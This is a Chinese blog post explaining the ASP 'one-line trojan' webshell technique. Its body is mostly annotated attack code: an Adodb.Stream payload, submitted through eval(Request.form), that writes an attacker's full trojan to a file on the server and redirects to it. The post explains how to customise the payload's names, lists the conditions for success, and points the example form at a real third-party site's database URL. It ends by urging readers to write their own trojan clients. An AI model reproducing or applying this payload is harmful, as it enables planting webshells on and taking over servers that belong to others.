php eval 黑客利用,eval一句话木马详细讲解

来解释下它的原理.

587595302eb7c2fcf6934de81e46a326.png

首先是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用 eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form('#')+''这句代 码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名为#的部分,例如如下摘自一句话客户端的代码:

set iP=server.createObject("Adodb.Stream")

iP.Open

iP.Type=2

iP.CharSet="gb2312"

iP.writetext request("aoyun")

iP.SaveToFile server.mappath("aoyunwan.asp"),2

iP.Close

set iP=nothing

response.redirect "aoyunwan.asp"

学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:

set iP=server.createObject("Adodb.Stream")

iP.Open

iP.Type=2

iP.CharSet="gb2312"

iP.writetext request("aoyun")

iP.SaveToFile server.mappath("aoyunwan.asp"),2

iP.Close

set iP=nothing

response.redirect "aoyunwan.asp"

学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request("aoyun")读取 过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的 aoyunwan.asp文件中,写入结束后使用set iP=nothing 释放Adodb.Stream对象 然后使用response.redirect "aoyunwan.asp" 转向刚才写入大马代码的文件,也就是我们最后看见的大马了!

不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器端创 建Adodb.Stream组件,如果该组件被禁用的话是不会写入成功的!二、还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写 入操作的话那么也是不会成功的.

一句话木马"服务端

就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 其中value可以自己修改

"一句话木马"客户端

用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件

一句话木马客户端源文件:

里面涉及到一些脚本知识,我就只讲解一下功能和简单注释,不详细讲了,大家只要注意几个注意点就行了

//"action="后面是需要修改的以asp命名的数据库的提交地址

//这个标签的意思是建立一个表单 以post方式提交给连接http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp处理

//这里的value值根据服务端中value而设定

//可以自行修改成相应这里的value值也必须改为pset lP=server.createObject("Adodb.Stream")//建立流对象,有了对象才可以使用它固有的属性和方法

lP.Open //打开

lP.Type=2 //以文本方式

lP.CharSet="gb2312" //字体标准

lP.writetext request("joeving") //取得木马内容 参数joeving可以自己定义 但必须和下面的name=joeving相对应

lP.SaveToFile server.mappath("wei.asp"),2

//将木马内容以覆盖文件的方式写入wei.asp

//2就是已覆盖的方式,这里的wei.asp也是可以自己定义的,如定义成1.asp

//但和下面的response.redirect"wei.asp"中wei.asp的保持一致

lP.Close //关闭对象

set lP=nothing //释放对象

response.redirect "wei.asp" //转向生成的wei.asp 和上面的wei.asp相对应,也就是你熟悉的asp木马登陆界面

//这段程序的功能:利用插入到数据库文件的这段代码执行第一个textarea中的内容,并将添加的木马内容写入和指向wei.asp,这样就相当于在服务器上建立了个asp木马文件,这样就可以取得webshell了

添入生成木马的内容/textarea>

//这段标签是你用来添加木马内容用的

//程序的主要框架是

//取得木马内容并用无组件上传技术在服务器端创建asp木马文件并显示

//添加木马内容用的

其实都是些很简单的一些html和asp的知识,大家不妨自己写个自己的木马客户端~~~呵呵

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值